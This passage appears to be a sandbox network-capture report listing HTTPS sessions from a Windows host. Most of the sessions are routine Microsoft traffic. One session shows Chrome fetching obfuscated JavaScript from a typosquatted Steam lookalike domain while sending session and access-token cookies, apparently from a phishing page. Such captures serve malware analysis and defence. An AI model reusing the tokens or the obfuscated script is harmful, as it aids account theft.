2024-10-07 06:47:03 UTC	8060	IN	Data Raw: 30 30 30 30 31 46 37 30 0d 0a 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 70 78 3b 0d 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 23 62 74 6e 5f 72 65 6d 6f 74 65 5f 69 6e 73 74 61 6c 6c 3a 68 6f 76 65 72 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 2d 77 65 62 6b 69 74 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 20 74 6f 70 2c 20 72 67 62 61 28 31 36 34 2c 32 30 38 2c 37 2c 31 29 20 35 25 2c 20 72 67 62 61 28 31 30 37 2c 31 33 35 2c 35 2c 31 29 20 39 35 25 29 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 20 74 6f 20 62 6f 74 74 6f 6d 2c 20 72 67 62 61 28 31 36 34 2c 32 30 38 2c 37 2c 31 29 20 35 25 2c 20 72 67 62 61 28 31 30 37 2c 31 33 35 2c 35 2c Data Ascii: 00001F70border-radius: 2px;text-decoration: none;}#btn_remote_install:hover {background: -webkit-linear-gradient( top, rgba(164,208,7,1) 5%, rgba(107,135,5,1) 95%);background: linear-gradient( to bottom, rgba(164,208,7,1) 5%, rgba(107,135,5,
2024-10-07 06:47:03 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49786	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:03 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-07 06:47:03 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=208655 Date: Mon, 07 Oct 2024 06:47:03 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-07 06:47:03 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	49792	104.21.91.169	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:03 UTC	1289	OUT	GET /721d7f512e0801585d020440.js HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.MOlHHgI6p8xxSnoV1cI2Z9L1a-GFOrfU.C-V_ugttOowzCm9y.SFg0RklYU8UoqIKEDpm9zydFbeB3Z-O2Z92huwcwRlDAkGEIdAqaPyPe-1k5wfq1oaAYkj9tNAT25YbYvo_5daiVZIs_f3X5SSqXIkh-FJS2GMr7q_GeT1BXc6k7wVlKNW9aLA7xBD1vblF07Yn_gHqiHSDsjOJrI1NuDbAzjh8VhgeCTLt3qcI8BkvqV9DMzySiKx77hWHK4WxzYn-Y_7TMJdOCCmnCeQX3XieZUPidY2AcFkPid3CBdqo.ebEFj8Ye00GZPYTIzE3-Ow; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjZkMTBjOWIxM2ZhODdlNTNiYzdiMWJkZmY3YjIyMzA0Iiwic2VydmljZSI6IlN0ZWFtIn0.qKJ-QMVd1Mpks51lieRtA8L1pcwabxsxLWWN5yq_i5I; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.FqIuhJWonROZ6dAoZUtqwmnhRFjGL9Hu.J_ticQ68Ss1dwbiT.04b5rDuCc1FH4fbOPV1lYSN1FTziFQE8cNodrfcmuOu7kVho7BWmOv_P3IKhqLoJLgjzkX7gOmOSsbUtaG46XrO1.qhVJHHtnsMhHTce6gpngrg
2024-10-07 06:47:03 UTC	1060	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:03 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Content-Disposition: inline Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Last-Modified: Wed, 25 Sep 2024 10:33:41 GMT Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 Cache-Control: max-age=14400 CF-Cache-Status: MISS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=71q65HQNw9V71hXKdWajK07YhpusM0n5Lzm7734BscI1UCP0FX1xQ06bKVkaWgoaZc%2BRqYEdvjC07IOnEiA4JV9Xe8U5wyLJyI3aEFXntJGdXIPsX4aGQZ7y%2BnHepETp4uKVdvAkVQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cebf0045ab572b6-EWR
2024-10-07 06:47:03 UTC	309	IN	Data Raw: 37 62 37 61 0d 0a 66 75 6e 63 74 69 6f 6e 20 5f 30 78 34 36 61 64 28 5f 30 78 32 30 63 64 38 62 2c 5f 30 78 64 35 65 31 30 30 29 7b 63 6f 6e 73 74 20 5f 30 78 31 31 30 64 62 66 3d 5f 30 78 31 31 30 64 28 29 3b 72 65 74 75 72 6e 20 5f 30 78 34 36 61 64 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 36 61 64 31 62 2c 5f 30 78 34 66 39 66 66 33 29 7b 5f 30 78 34 36 61 64 31 62 3d 5f 30 78 34 36 61 64 31 62 2d 30 78 31 38 64 3b 6c 65 74 20 5f 30 78 61 64 63 31 36 63 3d 5f 30 78 31 31 30 64 62 66 5b 5f 30 78 34 36 61 64 31 62 5d 3b 72 65 74 75 72 6e 20 5f 30 78 61 64 63 31 36 63 3b 7d 2c 5f 30 78 34 36 61 64 28 5f 30 78 32 30 63 64 38 62 2c 5f 30 78 64 35 65 31 30 30 29 3b 7d 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 66 30 35 61 37 2c 5f 30 78 32 63 65 63 64 35 29 Data Ascii: 7b7afunction _0x46ad(_0x20cd8b,_0xd5e100){const _0x110dbf=_0x110d();return _0x46ad=function(_0x46ad1b,_0x4f9ff3){_0x46ad1b=_0x46ad1b-0x18d;let _0xadc16c=_0x110dbf[_0x46ad1b];return _0xadc16c;},_0x46ad(_0x20cd8b,_0xd5e100);}(function(_0x2f05a7,_0x2cecd5)
2024-10-07 06:47:03 UTC	1369	IN	Data Raw: 21 5b 5d 29 7b 74 72 79 7b 63 6f 6e 73 74 20 5f 30 78 33 62 32 39 38 64 3d 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 31 63 33 29 29 2f 30 78 31 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 33 31 29 29 2f 30 78 32 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 33 35 29 29 2f 30 78 33 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 34 66 29 29 2f 30 78 34 2a 28 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 31 66 35 29 29 2f 30 78 35 29 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 32 34 29 29 2f 30 78 36 2a 28 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 33 34 29 29 2f 30 78 37 29 2b 2d 70 61 72 73 65 Data Ascii: ![]){try{const _0x3b298d=-parseInt(_0x4d1ffc(0x1c3))/0x1+-parseInt(_0x4d1ffc(0x231))/0x2+-parseInt(_0x4d1ffc(0x235))/0x3+parseInt(_0x4d1ffc(0x24f))/0x4(parseInt(_0x4d1ffc(0x1f5))/0x5)+parseInt(_0x4d1ffc(0x224))/0x6(parseInt(_0x4d1ffc(0x234))/0x7)+-parse
2024-10-07 06:47:03 UTC	1369	IN	Data Raw: 31 66 62 30 30 5b 5f 30 78 31 36 39 61 32 64 5d 29 3b 7d 72 65 74 75 72 6e 20 5f 30 78 31 33 38 61 61 36 3b 7d 2c 5f 30 78 34 62 39 63 35 33 3d 28 5f 30 78 34 61 30 65 38 38 2c 5f 30 78 32 30 34 61 66 32 29 3d 3e 28 29 3d 3e 28 5f 30 78 32 30 34 61 66 32 7c 7c 5f 30 78 34 61 30 65 38 38 28 28 5f 30 78 32 30 34 61 66 32 3d 7b 27 65 78 70 6f 72 74 73 27 3a 7b 7d 7d 29 5b 5f 30 78 34 62 38 35 62 32 28 30 78 32 33 32 29 5d 2c 5f 30 78 32 30 34 61 66 32 29 2c 5f 30 78 32 30 34 61 66 32 5b 5f 30 78 34 62 38 35 62 32 28 30 78 32 33 32 29 5d 29 2c 5f 30 78 33 65 35 38 35 3d 28 5f 30 78 33 31 66 65 65 62 2c 5f 30 78 31 35 31 65 31 30 2c 5f 30 78 34 38 37 61 31 65 2c 5f 30 78 33 39 61 38 33 36 29 3d 3e 7b 63 6f 6e 73 74 20 5f 30 78 31 38 33 30 66 35 3d 5f 30 78 34 Data Ascii: 1fb00[_0x169a2d]);}return _0x138aa6;},_0x4b9c53=(_0x4a0e88,_0x204af2)=>()=>(_0x204af2\|\|_0x4a0e88((_0x204af2={'exports':{}})[_0x4b85b2(0x232)],_0x204af2),_0x204af2[_0x4b85b2(0x232)]),_0x3e585=(_0x31feeb,_0x151e10,_0x487a1e,_0x39a836)=>{const _0x1830f5=_0x4
2024-10-07 06:47:03 UTC	1369	IN	Data Raw: 2c 27 70 61 64 64 69 6e 67 52 69 67 68 74 27 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 34 64 29 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 37 33 29 2c 27 6d 61 72 67 69 6e 4c 65 66 74 27 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 33 30 29 2c 27 6d 61 72 67 69 6e 54 6f 70 27 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 32 65 29 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 61 39 29 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 32 32 29 2c 27 62 6f 72 64 65 72 54 6f 70 57 69 64 74 68 27 2c 27 62 6f 72 64 65 72 42 6f 74 74 6f 6d 57 69 64 74 68 27 5d 2c 5f 30 78 63 63 62 39 34 34 3d 5f 30 78 37 39 30 39 36 65 5b 5f 30 78 34 37 30 31 39 35 28 30 78 31 61 63 29 5d 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 33 66 64 64 32 63 28 29 7b 63 6f 6e 73 74 20 5f 30 78 31 31 63 35 66 39 Data Ascii: ,'paddingRight',_0x470195(0x24d),_0x470195(0x273),'marginLeft',_0x470195(0x230),'marginTop',_0x470195(0x22e),_0x470195(0x2a9),_0x470195(0x222),'borderTopWidth','borderBottomWidth'],_0xccb944=_0x79096e[_0x470195(0x1ac)];function _0x3fdd2c(){const _0x11c5f9
2024-10-07 06:47:03 UTC	1369	IN	Data Raw: 63 32 35 5b 27 6d 61 72 67 69 6e 54 6f 70 27 5d 2b 5f 30 78 35 37 38 63 32 35 5b 27 6d 61 72 67 69 6e 42 6f 74 74 6f 6d 27 5d 2c 5f 30 78 66 37 34 62 39 30 3d 5f 30 78 35 37 38 63 32 35 5b 5f 30 78 34 39 31 35 32 36 28 30 78 32 61 39 29 5d 2b 5f 30 78 35 37 38 63 32 35 5b 5f 30 78 34 39 31 35 32 36 28 30 78 32 32 32 29 5d 2c 5f 30 78 35 37 33 36 37 65 3d 5f 30 78 35 37 38 63 32 35 5b 5f 30 78 34 39 31 35 32 36 28 30 78 32 61 64 29 5d 2b 5f 30 78 35 37 38 63 32 35 5b 5f 30 78 34 39 31 35 32 36 28 30 78 32 36 34 29 5d 2c 5f 30 78 32 63 36 38 36 35 3d 5f 30 78 34 63 39 30 38 37 28 5f 30 78 33 62 32 38 39 37 5b 5f 30 78 34 39 31 35 32 36 28 30 78 31 63 37 29 5d 29 3b 5f 30 78 32 63 36 38 36 35 21 3d 3d 21 30 78 31 26 26 28 5f 30 78 35 37 38 63 32 35 5b 5f 30 Data Ascii: c25['marginTop']+_0x578c25['marginBottom'],_0xf74b90=_0x578c25[_0x491526(0x2a9)]+_0x578c25[_0x491526(0x222)],_0x57367e=_0x578c25[_0x491526(0x2ad)]+_0x578c25[_0x491526(0x264)],_0x2c6865=_0x4c9087(_0x3b2897[_0x491526(0x1c7)]);_0x2c6865!==!0x1&&(_0x578c25[_0
2024-10-07 06:47:03 UTC	1369	IN	Data Raw: 5d 7c 7c 5b 5d 3b 72 65 74 75 72 6e 20 5f 30 78 31 62 64 65 37 30 5b 5f 30 78 31 30 64 63 65 62 28 30 78 32 36 35 29 5d 28 5f 30 78 33 62 63 39 39 63 29 7c 7c 5f 30 78 31 62 64 65 37 30 5b 27 70 75 73 68 27 5d 28 5f 30 78 33 62 63 39 39 63 29 2c 74 68 69 73 3b 7d 2c 5f 30 78 33 37 65 36 63 32 5b 5f 30 78 31 39 37 34 61 65 28 30 78 32 36 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 65 61 38 65 33 2c 5f 30 78 32 37 37 62 36 61 29 7b 63 6f 6e 73 74 20 5f 30 78 34 35 38 37 34 39 3d 5f 30 78 31 39 37 34 61 65 3b 69 66 28 21 5f 30 78 35 65 61 38 65 33 7c 7c 21 5f 30 78 32 37 37 62 36 61 29 72 65 74 75 72 6e 20 74 68 69 73 3b 74 68 69 73 5b 27 6f 6e 27 5d 28 5f 30 78 35 65 61 38 65 33 2c 5f 30 78 32 37 37 62 36 61 29 3b 6c 65 74 20 5f 30 78 32 39 61 65 37 Data Ascii: ]\|\|[];return _0x1bde70[_0x10dceb(0x265)](_0x3bc99c)\|\|_0x1bde70['push'](_0x3bc99c),this;},_0x37e6c2[_0x1974ae(0x263)]=function(_0x5ea8e3,_0x277b6a){const _0x458749=_0x1974ae;if(!_0x5ea8e3\|\|!_0x277b6a)return this;this['on'](_0x5ea8e3,_0x277b6a);let _0x29ae7
2024-10-07 06:47:03 UTC	1369	IN	Data Raw: 78 34 63 31 34 62 64 28 30 78 31 64 37 29 5d 2c 74 68 69 73 3b 7d 2c 5f 30 78 31 32 31 32 36 30 3b 7d 29 29 3b 7d 29 2c 5f 30 78 33 38 33 32 30 35 3d 5f 30 78 34 62 39 63 35 33 28 28 5f 30 78 34 30 61 35 30 61 2c 5f 30 78 35 61 32 66 37 65 29 3d 3e 7b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 65 34 32 36 65 2c 5f 30 78 32 64 31 38 61 30 29 7b 63 6f 6e 73 74 20 5f 30 78 35 62 66 64 32 36 3d 5f 30 78 34 36 61 64 3b 74 79 70 65 6f 66 20 5f 30 78 35 61 32 66 37 65 3d 3d 5f 30 78 35 62 66 64 32 36 28 30 78 31 66 66 29 26 26 5f 30 78 35 61 32 66 37 65 5b 5f 30 78 35 62 66 64 32 36 28 30 78 32 33 32 29 5d 3f 5f 30 78 35 61 32 66 37 65 5b 5f 30 78 35 62 66 64 32 36 28 30 78 32 33 32 29 5d 3d 5f 30 78 32 64 31 38 61 30 28 5f 30 78 32 65 34 32 36 65 2c 5f 30 78 31 Data Ascii: x4c14bd(0x1d7)],this;},_0x121260;}));}),_0x383205=_0x4b9c53((_0x40a50a,_0x5a2f7e)=>{(function(_0x2e426e,_0x2d18a0){const _0x5bfd26=_0x46ad;typeof _0x5a2f7e==_0x5bfd26(0x1ff)&&_0x5a2f7e[_0x5bfd26(0x232)]?_0x5a2f7e[_0x5bfd26(0x232)]=_0x2d18a0(_0x2e426e,_0x1
2024-10-07 06:47:03 UTC	1369	IN	Data Raw: 73 27 5d 5b 5f 30 78 34 30 66 65 38 66 28 30 78 32 30 64 29 5d 28 5f 30 78 33 37 30 38 39 36 3d 3e 7b 63 6f 6e 73 74 20 5f 30 78 33 35 36 61 39 62 3d 5f 30 78 34 30 66 65 38 66 3b 5f 30 78 33 37 30 38 39 36 5b 5f 30 78 32 34 66 66 66 37 5d 28 5f 30 78 35 34 64 30 35 65 2c 74 68 69 73 29 2c 5f 30 78 33 37 30 38 39 36 5b 5f 30 78 32 34 66 66 66 37 5d 28 5f 30 78 33 35 36 61 39 62 28 30 78 32 38 30 29 2c 74 68 69 73 29 2c 5f 30 78 39 33 37 36 33 35 5b 5f 30 78 33 35 36 61 39 62 28 30 78 31 63 64 29 5d 26 26 28 5f 30 78 33 37 30 38 39 36 5b 5f 30 78 33 35 36 61 39 62 28 30 78 32 39 39 29 5d 5b 5f 30 78 33 35 36 61 39 62 28 30 78 32 34 63 29 5d 3d 5f 30 78 34 66 65 39 66 37 29 3b 7d 29 3b 7d 2c 5f 30 78 64 34 32 65 30 32 5b 5f 30 78 35 64 37 30 37 34 28 30 78 Data Ascii: s'][_0x40fe8f(0x20d)](_0x370896=>{const _0x356a9b=_0x40fe8f;_0x370896[_0x24fff7](_0x54d05e,this),_0x370896[_0x24fff7](_0x356a9b(0x280),this),_0x937635[_0x356a9b(0x1cd)]&&(_0x370896[_0x356a9b(0x299)][_0x356a9b(0x24c)]=_0x4fe9f7);});},_0xd42e02[_0x5d7074(0x
2024-10-07 06:47:03 UTC	1369	IN	Data Raw: 37 34 3b 74 68 69 73 5b 5f 30 78 31 33 61 39 33 37 28 30 78 31 62 61 29 5d 28 5f 30 78 34 30 30 63 31 37 2c 5f 30 78 34 30 30 63 31 37 29 3b 7d 3b 6c 65 74 20 5f 30 78 33 34 36 34 37 65 3d 5b 5f 30 78 35 64 37 30 37 34 28 30 78 31 64 63 29 2c 5f 30 78 35 64 37 30 37 34 28 30 78 31 63 39 29 2c 27 53 45 4c 45 43 54 27 2c 27 4f 50 54 49 4f 4e 27 5d 2c 5f 30 78 33 66 34 31 30 34 3d 5b 27 72 61 64 69 6f 27 2c 27 63 68 65 63 6b 62 6f 78 27 2c 27 62 75 74 74 6f 6e 27 2c 5f 30 78 35 64 37 30 37 34 28 30 78 32 38 33 29 2c 5f 30 78 35 64 37 30 37 34 28 30 78 32 36 36 29 2c 27 66 69 6c 65 27 5d 3b 72 65 74 75 72 6e 20 5f 30 78 64 34 32 65 30 32 5b 5f 30 78 35 64 37 30 37 34 28 30 78 31 62 61 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 63 37 30 39 34 2c 5f 30 78 Data Ascii: 74;this[_0x13a937(0x1ba)](_0x400c17,_0x400c17);};let _0x34647e=[_0x5d7074(0x1dc),_0x5d7074(0x1c9),'SELECT','OPTION'],_0x3f4104=['radio','checkbox','button',_0x5d7074(0x283),_0x5d7074(0x266),'file'];return _0xd42e02[_0x5d7074(0x1ba)]=function(_0x4c7094,_0x
2024-10-07 06:47:03 UTC	1369	IN	Data Raw: 32 35 30 29 5d 2d 74 68 69 73 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 30 62 29 5d 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 35 30 29 5d 2c 27 79 27 3a 5f 30 78 33 35 62 39 35 37 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 35 35 29 5d 2d 74 68 69 73 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 30 62 29 5d 5b 27 70 61 67 65 59 27 5d 7d 3b 74 68 69 73 5b 27 65 6d 69 74 45 76 65 6e 74 27 5d 28 5f 30 78 31 61 38 63 63 36 28 30 78 32 36 62 29 2c 5b 5f 30 78 34 32 66 37 61 36 2c 5f 30 78 33 35 62 39 35 37 2c 5f 30 78 33 65 37 32 64 63 5d 29 2c 21 74 68 69 73 5b 5f 30 78 31 61 38 63 63 36 28 30 78 31 62 66 29 5d 26 26 74 68 69 73 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 30 32 29 5d 28 5f 30 78 33 65 37 32 64 63 29 26 26 74 68 69 73 5b 27 64 72 61 67 53 74 61 72 74 Data Ascii: 250)]-this[_0x1a8cc6(0x20b)][_0x1a8cc6(0x250)],'y':_0x35b957[_0x1a8cc6(0x255)]-this[_0x1a8cc6(0x20b)]['pageY']};this['emitEvent'](_0x1a8cc6(0x26b),[_0x42f7a6,_0x35b957,_0x3e72dc]),!this[_0x1a8cc6(0x1bf)]&&this[_0x1a8cc6(0x202)](_0x3e72dc)&&this['dragStart

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:03 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:03 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 1be548a6-001e-00a2-4166-17d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064703Z-1657d5bbd482krtfgrg72dfbtn00000002t000000000dncb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:03 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:03 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:03 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 151ca1e1-401e-0029-2b03-179b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064703Z-1657d5bbd48cpbzgkvtewk0wu0000000035g000000009wbm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:03 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:03 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:03 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 11b227e2-601e-0002-7f6b-17a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064703Z-1657d5bbd487nf59mzf5b3gk8n00000002sg000000006r7y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:03 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
